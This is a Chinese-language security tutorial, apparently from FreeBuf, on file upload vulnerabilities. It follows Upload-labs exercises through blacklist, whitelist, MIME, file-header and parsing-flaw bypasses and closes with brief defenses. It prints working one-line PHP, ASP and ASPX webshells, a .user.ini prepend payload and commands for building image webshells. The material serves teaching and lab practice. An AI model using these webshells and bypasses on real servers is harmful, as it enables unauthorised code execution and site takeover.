m0be1
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一、文件上传漏洞产生的原因
一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过 URL 去 访问恶意文件传递给解释器去执行,之后就可以再服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。
1、服务器配置不当
2、开源编辑器上传漏洞
3、本地文件上传限制被绕过
4、过滤不严格被绕过
5、文件解析漏洞导致文件执行
6、文件路径截断
二、常见的上传点
头像、相册、附件、添加文章图片、留言资料上传、视频上传、编辑器文件上传等等
三、文件上传利用前提
1、网站上传功能可以正常使用
2、文件类型允许上传或者能绕过上传
3、上传路径可以确定
4、文件可以被访问,可以被执行或者被包含
四、文件上传类型判断
五、文件上传危害
1、上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行; 2、上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似); 3、上传文件是病毒、木马文件,从而获得系统的控制权 4、上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
六、文件上传绕过
客户端检测
1、前端限制(JS绕过)
1、直接上传shell文件,同时BP拦截抓包,如果BP没有拦截到数据包,说明没有从服务端进行验证,而是直接在前端对文件进行了校验。
示例:Upload-labs(Pass-01)
2、绕过方法:
如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现。
服务端检测
1、黑名单检测
1)特殊后缀解析绕过
黑名单检测:一般有个专门的 blacklist 文件,或者黑名单数组,里面会包含常见的危险脚本文件扩展名。
绕过方法:
1、找黑名单扩展名的漏网之鱼:比如 iis6.0 中的 asa 和 cer
2、可能存在大小写绕过漏洞:比如 aSp(iis6.0 中可以)和 pHp(只能在 小于 php5.3.39 中的 linux 中)之中
3、能被web容器解析的文件其他扩展名列表:
示例:Upload-labs(Pass-03)
查看源码分析,拓展名黑名单过滤,php拓展名自然也被过滤了,但没有禁止phtml,php3,php4,php5,pht
构造上传php5后缀上传成功
上传一句话木马后连接不上的原因:因为PHP配置文件把这些后缀注释了。修改如下:
打开这个文件,Ctrl+f查找 .phtml
在这里可以把想要的文件后缀加上,再把注释符#去掉,就可以快乐地去连接蚁剑了
2)上传.htaccess文件绕过
htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。
用途范围主要针对当前目录。
示例:Upload-labs(Pass-04)
先写一个.htaccess文件
SetHandler application/x-httpd-php 意思就是让Apache对当前目录中的所有文件都以php的格式进行解析。
AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析
分析源代码,常见的后缀都被过滤掉了。但是没有过滤.htaccess,所以可以用.htaccess后缀绕过上传
上传时要注意修改,上传时使用burp抓包修改文件名只有后缀。
进行.htaccess进行尝试,上传成功,这样所有文件都会被强制解析为php,然后再上传图片马,就可以解析
成功连接
拓展:图片马制作的两种方法
第一种方法:利用copy命令
复制当前目录下的3.jpg 图片和当前目录下的 1.php 文件并以ASCII代码的方式合并为 3.jpg 图片
1.随便找一张图片 名字改成3.jpg
2.<?php phpinfo();?> 存为1.php(就是一句话木马)
3.复制执行 copy 3.jpg /b + 1.php/a 3.jpg
查看图片马内容,一句话已经写入
第二种方式:
1.用PS(photoshop)打开图片
2.文件→文件简介
插入你需要的木马代码
3.文件→保存(保存:覆盖源文件 你也可以另存为你想要的其它格式)
改为图片后缀可以正常打开
简单一句话木马
php的一句话是
<?php @eval($_POST['cmd']);?>
asp的一句话是
<%eval request ("cmd")%>
aspx的一句话是
<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
3)上传.user.ini文件绕过
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
绕过技巧:
1.针对过滤包含ph与htaccess扩展名的文件:上传.user.ini与图片马,利用.user.ini进行文件包含
2.针对过滤文件内容包含<?的文件:使用php的脚本标记风格<script language='php'>
3.针对使用exif_imagetype规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)
首先上传.user.ini文件,文件内容为:
GIF89a
auto_prepend_file=shell.png
然后构造一个shell.png,内容如下:
GIF89a
<script language='php'> @eval($_POST['hack']); </script>
然后将两个文件分别上传到服务器上,可拿到回显
4)利用大小写绕过
Windows对大小写不敏感,Linux对大小写敏感。所以Windows系统可识别.Php、.PHp、.PHP、.pHp、.pHP、.phP扩展名的文件。若网站后端过滤并未统一大小写(将文件扩展名转为小写表示),则会造成绕过。
示例:Upload-labs(Pass-05)
分析源码这里却没有将拓展名转化成小写,所以可以利用大小写绕过拓展名检测
尝试大小写成功上传
成功连接
5)利用空格绕过
示例:Upload-labs(Pass-07)
查看源码,没有对拓展名首尾去空格,所以,在拓展名后面加个空格,即可绕过黑名单的检测。
尝试空格绕过php 随便在哪加空格都可以绕过
原理:在windows系统里空格命名是不被允许的,所以需要在burp之类里进行修改,木马成功上传后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
6)利用点绕过
同空格绕过原理一样,主要原因是Windows等系统默认删除文件后缀的“.”和空格。若网站后端过滤时没有过滤末尾的点,便可进行绕过。
示例:Upload-labs(Pass-09)
源码分析:从源码中上传限制 1、黑名单2、转换为小写、3、去除字符串4、首尾去空
原理:在windows系统里拓展名不允许包括点和空格,所以需要在burp之类里进行修改,木马成功上传后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
7)利用NTFS流::$DATA绕过
在Windows中如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php
注:这是NTFS文件系统具有的特性,FAT32文件系统无法利用
示例:Upload-labs(Pass-10)
直接分析源码:没有对去除字符串::$DATA,所以,在拓展名后面加上::$DATA,即可绕过黑名单的检测。
直接上传php文件,burp抓包修改,成功上传
8)利用点空格点绕过
直接查看源码,基本上都做了限制,所以前面的方法都不可行。但是其中的一个条件是删除末尾文件的点,在利用windows文件命名不能用点和空格特性 直接构造点+空格+点的方式,过滤条件把最后一个点过滤点了,但是前面还有一个点和空格,仍然让绕过上传
直接上传一个PHP文件,尝试构造点+空格+点方法绕过
9)利用扩展名双写绕过
PHP后端使用str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。
示例:Upload-labs(Pass-11)
审计源代码,这里还是使用了黑名单过滤,而且还将黑名单里的拓展名替换为空,但因为只替换了一次,所以可以用双写拓展名的方法绕过
上传一个php文件burp抓包修改,上传成功
2、白名单检测
1)利用00截断绕过
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。
00截断的使用限制:
php版本小于5.3.4
php.ini的magic_quotes_gpc为OFF状态
get型%00截断
查看源码,根据源码分析此处并没有对我们上传的文件进行处理,但会对我们保存的路径进行处理,也就是我们上传后的文件名会被重命名,白名单判断,但$img_path是直接拼接,因此可以利用%00截断绕过。
又发现有一个get传递的参数,save_path,这是我们可控的一个参数,于是可以尝试%00截断
POST型%00截断
查看源码分析:发现只是get变成了post,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
把php后缀改为jpg,上传抓包,利用POST型%00截断
然后打开hex修改
上传成功
2)MIME类型(Content-Type)检验绕过
Content-Type:它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
几种常见的Content-Type类型
A、application/x-www-form-urlencoded
B、multipart/form-data
C、application/json
D、binary (application/octet-stream)
E、text/xml
在HTTP 协议中,使用Content-Type 字段表示文件的MIME 类型
查看源码分析。由于服务器在检测Content-Type 类型的时候,取得的变量来自于用户,所以可以用Burp 抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。
上传一个PHP抓包,将Content-Type字段修改为image/jpeg或image/png或image/gif即可绕过
3、内容及其他
1)文件头内容检验绕过
绕过unpack函数解包检验文件类型
不同的图片文件都有不同文件头。上传文件的时候会检查上传文件是否合法,如GIF图片文件是否文件头含有 gif89,可以通过编辑器在WebShell内容基础上再加了一些文件信息,有点像下面的结构:
GIF89a <?php phpinfo(); ?>
或者使用MS_DOS命令制作图片木马:
copy normal.jpg /b + shell.php /a webshell.jpg
示例:Upload-labs(Pass-13)
查看源码:通过读文件的前2个字节判断文件类型,因此直接上传图片马即可
成功上传后需要配合文件包含漏洞才可执行代码
2)绕过getimagesize函数检验文件类型
查看源码,用getimagesize函数判断文件类型,还是可以图片马绕过
上传之前制作好的图片马
3)绕过php_exif模块检验文件类型
审计源代码,这里使用php_exif模块获取文件类型,本质上也是校验文件头内容。
上传之前制作好的图片马
利用文件包含漏洞访问
4)二次渲染绕过
我们上传的图像,会被网站作为样品再生成一个新的图像,并且将我们原本上传的文件删除。
查看源码,判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,可是在复现的时候还是因为二次渲染以后php代码还是出被修改。
绕过技巧:
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。然后使用文件包含利用。
5)条件竞争绕过
查看源码
先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可
6)解析漏洞绕过
解析漏洞指的是服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。
解析漏洞常见于IIS、Apache、Nginx这类的中间件对应版本存在的解析问题,存在的问题都在于中间件。
Apache解析漏洞
影响版本:Apache 1.x、Apache 2.x
Apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar、gif等扩展名是Apache不能识别的,因此就会直接将类型识别为php,从而达到了上传php代码的目的。
假如上传文件1.php.bb.rar,后缀名rar不认识,向前解析;1.php.bb,后缀名bb不认识,向前解析;1.php 最终解析结果为php文件。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。
IIS 5.x-6.x解析漏洞
影响版本:IIS 5.x、IIS 6.x
使用 IIS5.x-6.x 版本的服务器,大多为Windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,不能解析aspx文件。
目录解析漏洞
IIS 6.0中的目录解析漏洞,如果网站目录中有一个 *.asp的文件夹,那么该文件夹下面的一切内容都会被 IIS 当作 asp 脚本来执行,如/xx.asp/xx.jpg。
文件解析漏洞
IIS 6.0中的分号(;)漏洞,IIS在解析文件名的时候会将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
•/test.asa
•/test.cer
•/test.cdx
IIS 7.0/IIS 7.5/Nginx < 8.03 畸形解析漏洞
影响版本:IIS 7.0、IIS 7.5
IIS 7.0/7.5,默认 Fast-CGI 开启。如果直接在 url 中图片地址(.jpg)后面输入/.php,会把正常图片解析为 php 文件。
在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,1.jpg会被当作PHP脚本来解解析文件类型析,此时1.php是不存在的。这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。
这不是Nginx特有的漏洞,在IIS 7.0、IIS 7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
Nginx空字节解析漏洞
影响版本:Nginx 0.5、0.6、0.7<=0.7.65、0.8<= 0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞:
当Fast-CGI执行php时,在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
WAF绕过
一般上传的时候waf会检查请求的url、Boundary边界、MIME类型、文件扩展名、文件内容。在绕WAF之前得弄清几个事情。
什么语言?什么容器?什么系统?什么版本?
上传文件都可以上传什么格式的文件?还是允许上传任意类型?
上传的文件会不会被重命名或者二次渲染?
鉴于篇幅问题:常规绕过思路具体参考
https://blog.csdn.net/weixin_44532761/article/details/121691084
文件上传防御
1.文件上传的目录设置为不可执行
2.判断文件类型
3.使用随机数改写文件名和文件路径
4.单独设置文件服务器的域名
5.限制上传文件大小
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
